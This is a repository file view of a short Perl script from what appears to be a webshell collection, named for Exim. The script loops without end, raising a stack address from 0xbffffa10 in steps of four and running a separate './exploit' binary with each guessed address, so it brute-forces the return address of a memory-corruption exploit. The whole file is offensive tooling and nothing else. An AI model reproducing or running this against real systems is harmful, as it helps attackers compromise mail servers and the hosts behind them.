webshell/pl/exim.pl

12 lines
164 B
Perl
Raw Normal View History

2013-06-10 07:05:53 +00:00
#!/usr/bin/perl
$cnt = 0xbffffa10;
while (1) {
$hex = sprintf ("0x%x", $cnt);
$res = system ("./exploit $hex");
printf "$hex : $res\n";
$cnt += 4;
}